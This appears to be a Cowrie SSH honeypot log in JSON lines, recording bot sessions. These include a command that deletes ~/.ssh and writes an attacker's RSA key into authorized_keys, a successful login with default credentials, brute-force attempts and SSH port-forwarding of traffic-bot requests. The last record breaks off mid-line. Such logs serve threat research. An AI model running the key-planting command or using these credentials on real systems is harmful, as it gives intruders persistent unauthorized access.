{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:21.595515Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:21.863859Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:21.866660Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:22.090080Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:22.093232Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:22.204373Z","src_ip":"123.27.168.40","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":56560,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a3f16e0a824","protocol":"ssh","message":"New connection: 101.79.165.43:56560 (159.203.135.109:22) [session: 8a3f16e0a824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:22.303964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:22.308656Z","src_ip":"101.79.165.43","session":"8a3f16e0a824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:22.526118Z","src_ip":"101.79.165.43","session":"8a3f16e0a824","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:22.576008Z","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:22.702014Z","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:22.990860Z","src_ip":"123.27.168.40","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; T1-A21L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KWJKTSQ5UWNXZ0hTJkFZaA%3D%3Djn6QE0mMB21koAC5d2DqCms9qavI8KSH9jELgzx1IvAOnsuSWSYSeeeGSDDhfRTXJd%2BC8THdNLrYYB8RYAak%2BpEKQqanRDyy5XOLosWNQF4zZ9Ubmd0%2BbiuYksVcGK%2B65ULIxFYXYWu9xuhzp6yERp4zt8wiTruOpym4Hnfoyq0LLh2JjiNC4nCKjpsFgQHPIFf6KIAxHvMRLPSITsX1767Qj6XTr8Fww%2BI9tR2NqXrnGwOYHqDT9gOLbzoTte5VPWMQqSbxVCcXmel46rprfrsbf2wqozXSOj6W59EvekSCuC0h9p9QgkV9IGfs6QDgWiONLTGTeIPLVU%2BDTNiwSNGuhqtT1fdp3%2FEzi54jAIWVpizak43pI%2BVwX28fMyRIS5XFpOF0YHzY5srjm9wRJORd%2FeArUunBQn4ABtgnw0DknU5YB0C0AUjGi%2BH9Sm53tYEgckoriNtCqHFBWohXPAv%2FEFUd3oRwo7NbhIhRNuY0AICH98m9%2BekWjcG5t5qO%2F35TqBATgk7no48%2FHhdzZTQZcstUM0I8u6AS9T8vJf9vq3TJzJvUEOXB0r%2B5YTUpv0YKc4raufQ12Ft%2BsJ%2BYEPHSM6BoVQR%2BavGzLcILUH0PLQRYB87jaDKxuANQpqzqExE3%2Bjy1Q49YP4qDoChGuzVSrGoiPysbmsDRVwaqM3t6RPPdM1zClVHeKU%2FaTN1aU1vZTxP9cLengOHTlhVBs8pTK%2FuSkCp1OE6n3amPresn1PpS%2BwQKLFyWjKboe6uEpX%2BsLBfsZfTKAcJHSPzmRINHMm7JDcd95mb7FCokrVPiwHIVRq35et7ZUy2XJcfGjBxZ9IGJ04cEeX1o8oyB9h65U5OwsEbXEmg89PdFy8%2Bco1tt570N2Uz6OF%2BUMX6j7d94kCU9woqo6hg28UCpWsl%2BUs122YH8jSaFbe19DWNdnyD4PUkYVyplXunpJobtnLnuN%2FohQGrOu0Ge%2Fw4rdpp01xvoFnQTzm%2BmPwBwVZW25DVWmexi%2FB8Pd9wfI5YcbGbSNW8NhdgUVOvWhloBduGsoGUDzxOu2Kyja56%2BLu9k4%2BqmYbzHAAkrYdd%2B5eKO'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; T1-A21L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KWJKTSQ5UWNXZ0hTJkFZaA%3D%3Djn6QE0mMB21koAC5d2DqCms9qavI8KSH9jELgzx1IvAOnsuSWSYSeeeGSDDhfRTXJd%2BC8THdNLrYYB8RYAak%2BpEKQqanRDyy5XOLosWNQF4zZ9Ubmd0%2BbiuYksVcGK%2B65ULIxFYXYWu9xuhzp6yERp4zt8wiTruOpym4Hnfoyq0LLh2JjiNC4nCKjpsFgQHPIFf6KIAxHvMRLPSITsX1767Qj6XTr8Fww%2BI9tR2NqXrnGwOYHqDT9gOLbzoTte5VPWMQqSbxVCcXmel46rprfrsbf2wqozXSOj6W59EvekSCuC0h9p9QgkV9IGfs6QDgWiONLTGTeIPLVU%2BDTNiwSNGuhqtT1fdp3%2FEzi54jAIWVpizak43pI%2BVwX28fMyRIS5XFpOF0YHzY5srjm9wRJORd%2FeArUunBQn4ABtgnw0DknU5YB0C0AUjGi%2BH9Sm53tYEgckoriNtCqHFBWohXPAv%2FEFUd3oRwo7NbhIhRNuY0AICH98m9%2BekWjcG5t5qO%2F35TqBATgk7no48%2FHhdzZTQZcstUM0I8u6AS9T8vJf9vq3TJzJvUEOXB0r%2B5YTUpv0YKc4raufQ12Ft%2BsJ%2BYEPHSM6BoVQR%2BavGzLcILUH0PLQRYB87jaDKxuANQpqzqExE3%2Bjy1Q49YP4qDoChGuzVSrGoiPysbmsDRVwaqM3t6RPPdM1zClVHeKU%2FaTN1aU1vZTxP9cLengOHTlhVBs8pTK%2FuSkCp1OE6n3amPresn1PpS%2BwQKLFyWjKboe6uEpX%2BsLBfsZfTKAcJHSPzmRINHMm7JDcd95mb7FCokrVPiwHIVRq35et7ZUy2XJcfGjBxZ9IGJ04cEeX1o8oyB9h65U5OwsEbXEmg89PdFy8%2Bco1tt570N2Uz6OF%2BUMX6j7d94kCU9woqo6hg28UCpWsl%2BUs122YH8jSaFbe19DWNdnyD4PUkYVyplXunpJobtnLnuN%2FohQGrOu0Ge%2Fw4rdpp01xvoFnQTzm%2BmPwBwVZW25DVWmexi%2FB8Pd9wfI5YcbGbSNW8NhdgUVOvWhloBduGsoGUDzxOu2Kyja56%2BLu9k4%2BqmYbzHAAkrYdd%2B5eKO'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:22.993363Z","src_ip":"123.27.168.40","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:23.228718Z","src_ip":"123.27.168.40","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8b}\\x05a\\xcc\\xbd\\x8e$\\xc8\\x83\\x91\\x1d\\x90\\x8fQl\\x97~\\x12\\xed\\xd5q\\x80\\xdd1\\x02-,\\xe0\\xf4\\x8e\\x8e E\\x9d\\xa9\\x93\\xb6\\xa4\\x1c\\xf0~ns\\xa7\\\\\\x07\\xb4~\\xc1\\xa0H\\x99,\\xa5{\\xf5\\xdfr\\x9a\\x97\\x99\\xa2\\x1f6\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x03\\x9as\\xa2\\x04Vk.\\x1d\\x16\\xa1\\xdc\\x1f\\xd3y=\\xce\\xed\\xb6\\x8b\\xfa\\xe6d\\x04\\x05~\\xaexs[q9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8b}\\x05a\\xcc\\xbd\\x8e$\\xc8\\x83\\x91\\x1d\\x90\\x8fQl\\x97~\\x12\\xed\\xd5q\\x80\\xdd1\\x02-,\\xe0\\xf4\\x8e\\x8e E\\x9d\\xa9\\x93\\xb6\\xa4\\x1c\\xf0~ns\\xa7\\\\\\x07\\xb4~\\xc1\\xa0H\\x99,\\xa5{\\xf5\\xdfr\\x9a\\x97\\x99\\xa2\\x1f6\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x03\\x9as\\xa2\\x04Vk.\\x1d\\x16\\xa1\\xdc\\x1f\\xd3y=\\xce\\xed\\xb6\\x8b\\xfa\\xe6d\\x04\\x05~\\xaexs[q9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:23.232120Z","src_ip":"123.27.168.40","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:23.432032Z","src_ip":"101.79.165.43","session":"8a3f16e0a824","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:23.718839Z","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:23.962676Z","src_ip":"123.27.168.40","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xeb\\xac\\x9eK,\\xf9\\xba\\x90^\\xa7\\xf5\\xbaX\\xf8R\\xb7\\xa3\\xb6\\xea\\xe6\\xfe\\xf9^@\\xe5\\x93m\\x0e\\xcf\\xe1)[ \\x1eq\\xae\\x88\\xa8\\xf1\\xccaL\\x0e`k/\\x05F\\x1d\\xba=h\\xd7\\xbaG5\\x0e/4\\xe8\\x07Lj\\x94\\xae\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xec\\xd6\\x0c\\xef\\x0el2\\xe3\\xe6\\xc3\\x87Y*Dh\\xc3\\xb0\\xfc\\xce\\xca\\x9d\\xcb\\xfd\\xf3\\xf37u\\x8c\\xe8\\xd2x#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xeb\\xac\\x9eK,\\xf9\\xba\\x90^\\xa7\\xf5\\xbaX\\xf8R\\xb7\\xa3\\xb6\\xea\\xe6\\xfe\\xf9^@\\xe5\\x93m\\x0e\\xcf\\xe1)[ \\x1eq\\xae\\x88\\xa8\\xf1\\xccaL\\x0e`k/\\x05F\\x1d\\xba=h\\xd7\\xbaG5\\x0e/4\\xe8\\x07Lj\\x94\\xae\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\